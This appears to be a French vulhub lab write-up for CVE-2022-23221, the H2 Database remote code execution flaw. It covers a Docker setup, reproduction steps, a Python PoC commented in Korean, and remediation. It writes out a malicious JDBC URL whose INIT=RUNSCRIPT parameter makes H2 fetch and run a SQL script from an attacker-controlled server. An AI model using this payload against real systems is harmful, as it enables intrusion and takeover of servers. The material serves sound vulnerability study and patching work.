Retour aux mises à jour
UpdatedJul 29, 2026

H2-database-CVE-2022-23221 — Mis à jour !

vulhub/H2-database/CVE-2022-23221

Partager

H2 Database RCE (CVE-2022-23221)


1. Résumé

  • Référence : https://nvd.nist.gov/vuln/detail/cve-2022-23221

  • H2 est un système de gestion de base de données relationnelle qui permet de compiler et d'exécuter directement du code Java au sein de son moteur SQL.

  • Le pilote H2 analyse les URL JDBC pour établir la connexion entre l'application et la base de données. Les paramètres de configuration inclus dans l'URL permettent alors de contrôler l'état initial ou le comportement de la base de données.

  • Les versions de H2 antérieures à 2.1.210 présentent une faille : il est possible d'exécuter des scripts SQL distants via le paramètre INIT de l'URL JDBC. Un attaquant peut exploiter cette faille pour injecter à distance un script SQL falsifié et exécuter des commandes système via les instructions qu'il contient, déclenchant ainsi la vulnérabilité CVE-2022-23221.

  • Les caractéristiques de cette vulnérabilité sont les suivantes :

    1. Aucune authentification requise : quiconque dispose de la simple possibilité de saisir une URL JDBC peut exploiter cette vulnérabilité pour prendre le contrôle du système.
    2. Exécution automatique au démarrage du service : si l'attaquant modifie ne serait-ce que le fichier de configuration, une RCE (exécution de code à distance) se produit automatiquement au démarrage du service utilisant H2.
    3. Furtivité : il est difficile pour les développeurs de se rendre compte de l'attaque.
    4. Large périmètre d'impact : grâce à sa rapidité et à sa légèreté, H2 est utilisé pour le développement et les tests de divers services web. Tout environnement où l'URL JDBC peut être définie via un fichier de configuration ou à partir d'une saisie utilisateur peut être la cible d'une attaque exploitant cette vulnérabilité, d'où un impact considérable.
  • Périmètre d'impact de la vulnérabilité

    • Versions affectées : H2 antérieures à 2.1.210
    • Version corrigée : H2 2.1.210 et ultérieures

2. Conditions de la vulnérabilité

  • Être sur une version de H2 antérieure à 2.1.210.
  • L'URL JDBC doit contenir IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
    1. IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> contournement des paramètres de sécurité
      • Lorsque ces paramètres sont présents, les réglages de sécurité sont neutralisés ; la commande d'exécution de script distant n'est donc pas bloquée lors de l'initialisation et s'exécute telle quelle.
    2. INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> commande SQL exécutée automatiquement lors de la connexion entre l'application et la base de données
      • Si la valeur du paramètre INIT contient la commande SQL RUNSCRIPT ainsi que l'adresse du script malveillant, H2 se connecte au serveur concerné dès que la connexion entre l'application et la base de données H2 est établie, puis télécharge et exécute le fichier.
  • Le script SQL téléchargé doit contenir une instruction SQL CREATE ALIAS.
    • L'instruction CREATE ALIAS présente dans le script exécuté à distance amène H2 à exécuter les fonctions Java du script au sein de la base de données, ce qui aboutit à une RCE.




3. Configuration de l'environnement

  • Scénario

    • Mettre en place un environnement H2 vulnérable, puis saisir une URL JDBC malveillante dans H2. H2 analyse cette URL sans validation appropriée, télécharge le fichier SQL depuis le serveur attacker et l'exécute. Si les journaux du serveur h2-vulnerable affichent la chaîne « EXPLOITED » accompagnée des résultats des commandes id, whoami et pwd, cela signifie que l'environnement H2 vulnérable est en place et que le fichier exploit.sql a été téléchargé puis exécuté à distance depuis le serveur attacker externe pendant que H2 analysait l'URL JDBC malveillante.
  • Configuration de l'environnement

    docker compose up -d 
    

    docker ps

    • L'exécution de la commande démarre les environnements suivants.
    • h2-vulnerable : H2 2.0.206 (version vulnérable avant correctif)
      • Console web H2 : http://your-ip:8082
      • Serveur TCP : tcp://your-ip:9092
    • attacker : serveur HTTP
      • http://your-ip:8000 : fournit le fichier exploit.sql
  • Après la configuration de l'environnement, l'accès à http://your-ip:8082 affiche la page web H2.




4. Procédure de reproduction

: La console web applique des politiques de sécurité susceptibles de filtrer les paramètres requis par la vulnérabilité ; pour la reproduire, on saisit donc directement via la CLI une URL JDBC contenant les paramètres malveillants, puis on vérifie le résultat.

[Cas de requête normale]

  • URL JDBC normale : "jdbc:h2:mem:test"

  • Commande de requête normale

    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
    -url "jdbc:h2:mem:test" \
    -user sa \
    -password ""
    
  • Résultat de l'exécution Exécution via CLI

    • Aucune requête reçue sur le serveur attacker
    • Le serveur h2-vulnerable n'émet aucun journal particulier

[Cas d'attaque de la vulnérabilité]

  • URL JDBC malveillante : "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

1. Exécution de l'attaque

  • Une URL JDBC malveillante est saisie dans le pilote H2 pour tenter de se connecter au serveur attacker. Deux méthodes permettent de saisir l'URL.

    1. Saisir directement l'URL JDBC malveillante dans le shell H2 via la CLI.
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
      -user sa \
      -password ""
    

    Exécution via CLI

    1. Exécuter le fichier PoC.
    python3 poc.py
    

    Exécution de poc.py

2. Demande et exécution du fichier

  • Conformément à INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' spécifié dans le paramètre INIT de l'URL JDBC, H2 demande (HTTP GET) le fichier exploit.sql au serveur attacker puis l'exécute dans la base de données H2.

    1. L'exécution de docker logs attacker permet de consulter les journaux des demandes du fichier exploit.sql reçues du serveur h2-vulnerable.
    docker logs attacker
    

    1. Le serveur attacker renvoie le fichier exploit.sql demandé, puis le serveur h2-vulnerable exécute le fichier exploit.sql reçu. L'instruction CREATE ALIAS contenue dans le script déclenche alors l'exécution de code Java, d'où une RCE.


5. Code de poc.py

#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys

"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
    
    # H2 서버 준비 대기
    time.sleep(3)
    
    # 검증 우회 파라미터가 포함된 JDBC URL
    # IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
    # FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
    # INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
    jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
    
    try:
        # H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
        cmd = [
            'docker', 'exec', 'h2-vulnerable',
            'java', '-cp', '/h2-bin/h2.jar',
            'org.h2.tools.Shell',
            '-url', jdbc_url,
            '-user', 'sa',
            '-password', ''
        ]
        
        # Docker 명령어 실행 및 결과
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            timeout=15
        )
        
        return True
        
    except Exception as e:
        print(f"[-] 에러: {e}")
        return False

"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다. 
반환값: 없음
"""
def main():

    if exploit_h2():
        print("[+] 공격 완료")
    else:
        print("[-] 공격 실패")
        sys.exit(1)

if __name__ == "__main__":
    main()



6. Résultat de l'exécution

  • L'exécution du fichier exploit.sql affiche dans les journaux du serveur h2-vulnerable la chaîne « EXPLOITED » accompagnée des résultats des commandes id, whoami et pwd.

  • Les journaux peuvent être consultés via docker logs h2-vulnerable.

    docker logs h2-vulnerable`
    

    Vérification du résultat

=> Cela confirme que l'environnement h2 vulnérable est en place et que le téléchargement et l'exécution à distance du fichier ont réussi lors de l'analyse de l'URL JDBC malveillante par H2.


7. Mesures correctives

  • Mettre à niveau vers H2 2.1.210 ou une version ultérieure
    • Contenu du correctif : restriction de l'exécution de scripts externes via le paramètre INIT
    • Date de sortie : 2022-05-15
  • Renforcer la validation des valeurs d'URL JDBC : bloquer les entrées contenant des paramètres tels que INIT, RUNSCRIPT, etc., qui permettent l'exécution de code à distance, et valider les saisies d'URL JDBC selon une approche fondée sur une liste blanche.
  • Surveiller l'intégrité de la configuration et de l'environnement : lors d'une modification d'un fichier de configuration, vérifier l'absence de falsification, puis soumettre le changement à l'approbation d'un administrateur.

Catégories